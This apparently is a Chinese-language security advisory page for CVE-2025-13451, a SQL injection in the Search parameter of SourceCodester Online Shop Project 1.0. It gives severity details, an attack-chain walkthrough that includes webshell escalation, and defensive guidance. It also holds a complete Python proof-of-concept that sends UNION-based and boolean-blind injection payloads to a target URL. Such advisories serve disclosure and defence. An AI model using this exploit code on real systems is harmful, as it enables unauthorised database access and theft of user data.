IPBUF安全漏洞报告
English
CVE-2025-13451 CVSS 7.3 高危

CVE-2025-13451 | SourceCodester在线商店/action.php Search参数SQL注入漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-13451
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Online Shop Project 1.0

相关标签

SQL注入CVE-2025-13451SourceCodester在线商店高危漏洞无需认证Web应用安全数据库注入

漏洞概述

CVE-2025-13451是SourceCodester Online Shop Project 1.0中发现的一个高危SQL注入漏洞。该漏洞存在于/action.php文件的Search参数中,攻击者可以通过构造恶意的SQL语句实现未授权的数据库操作。该漏洞无需认证即可利用,CVSS评分达到7.3分,属于高危级别。攻击者可以利用此漏洞获取数据库中的敏感信息,包括用户凭证、个人数据、订单信息等。在某些情况下,攻击者还可能通过SQL注入获取服务器权限,实现远程代码执行。漏洞影响范围涉及所有使用该版本的在线商店系统,公开的漏洞利用代码可能已被恶意行为者使用。建议受影响用户立即采取修复措施,包括参数化查询、输入验证和访问控制等。

技术细节

该SQL注入漏洞位于SourceCodester Online Shop Project 1.0的/action.php文件中的Search参数。漏洞的根本原因在于应用程序未对用户输入进行充分的过滤和验证,直接将Search参数的值拼接到SQL查询语句中。攻击者可以通过在Search参数中注入SQL语句,如使用UNION SELECT、布尔盲注、时间盲注等技术,从数据库中提取敏感信息。典型的攻击payload可能包括:' OR '1'='1、' UNION SELECT 1,2,3,4,5--等。攻击者还可以通过SQL注入获取数据库版本、当前用户、数据库名称等信息,进而枚举数据库表和字段。由于该漏洞无需认证即可利用,远程攻击者可以通过互联网直接发起攻击。防御措施包括:使用参数化查询或预编译语句替代字符串拼接;对用户输入进行严格的输入验证和白名单过滤;应用最小权限原则,限制数据库账户权限;部署Web应用防火墙(WAF)进行实时防护。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用SourceCodester Online Shop Project 1.0,并定位到/action.php端点
STEP 2
步骤2: 参数探测
攻击者测试Search参数是否存在SQL注入漏洞,使用基本payload如单引号'进行探测
STEP 3
步骤3: 注入技术选择
根据目标响应,选择合适的SQL注入技术:UNION注入、布尔盲注或时间盲注
STEP 4
步骤4: 数据库枚举
利用SQL注入获取数据库版本、数据库名称、表名和字段名等元数据信息
STEP 5
步骤5: 数据提取
通过构造恶意的SQL查询语句,从数据库中提取敏感信息如用户账户、密码哈希等
STEP 6
步骤6: 权限提升(可选)
如果数据库权限足够,攻击者可能尝试写入webshell或执行系统命令获取服务器权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13451 PoC - SQL Injection in /action.php Search parameter # Target: SourceCodester Online Shop Project 1.0 # Vulnerability: Unauthenticated SQL Injection via Search parameter def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-13451 This PoC demonstrates extracting database version information """ # Target endpoint with vulnerable Search parameter endpoint = f"{target_url}/action.php" # Payload to extract database version # Using UNION-based SQL injection payload = "' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10--" params = { "page": "search", "Search": payload } print(f"[*] Target: {target_url}") print(f"[*] Sending malicious request...") try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: # Check for database version in response if '5.' in response.text or '8.' in response.text or 'MariaDB' in response.text: print("[+] SQL Injection successful! Database info leaked.") print(f"[+] Response length: {len(response.text)} bytes") else: print("[-] Database version not found in response") print("[*] Try modifying payload for different data extraction") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def blind_sqli_test(target_url): """ Boolean-based blind SQL injection test """ endpoint = f"{target_url}/action.php" # True condition payload true_payload = "' AND 1=1--" # False condition payload false_payload = "' AND 1=2--" params_true = {"page": "search", "Search": true_payload} params_false = {"page": "search", "Search": false_payload} try: resp_true = requests.get(endpoint, params=params_true, timeout=10) resp_false = requests.get(endpoint, params=params_false, timeout=10) if len(resp_true.text) != len(resp_false.text): print("[+] Blind SQL Injection confirmed!") print(f"[+] True response: {len(resp_true.text)} bytes") print(f"[+] False response: {len(resp_false.text)} bytes") else: print("[-] Blind SQLi test inconclusive") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_13451_poc.py <target_url>") print("Example: python cve_2025_13451_poc.py http://target.com/shop") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target) print("\n[*] Running blind SQL injection test...") blind_sqli_test(target)

影响范围

SourceCodester Online Shop Project 1.0

防御指南

临时缓解措施
立即停止使用存在漏洞的/action.php文件,或通过Web服务器配置临时阻止对该端点的访问。同时部署WAF规则拦截包含SQL注入特征的请求,如单引号、UNION、SELECT等关键字。建议在应用层添加输入验证中间件,对Search参数进行严格的类型检查和长度限制。长期解决方案是升级到修复后的版本或重构代码使用参数化查询。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表